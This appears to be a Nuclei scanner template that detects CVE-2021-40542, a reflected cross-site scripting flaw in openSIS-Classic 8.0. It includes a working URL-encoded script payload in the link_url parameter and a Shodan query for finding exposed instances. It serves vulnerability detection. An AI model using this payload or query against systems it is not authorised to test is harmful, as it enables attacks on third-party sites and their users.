id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.01491
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"openSIS"
    vendor: os4ed
    product: opensis
  tags: xss,cve,cve2021,opensis

http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200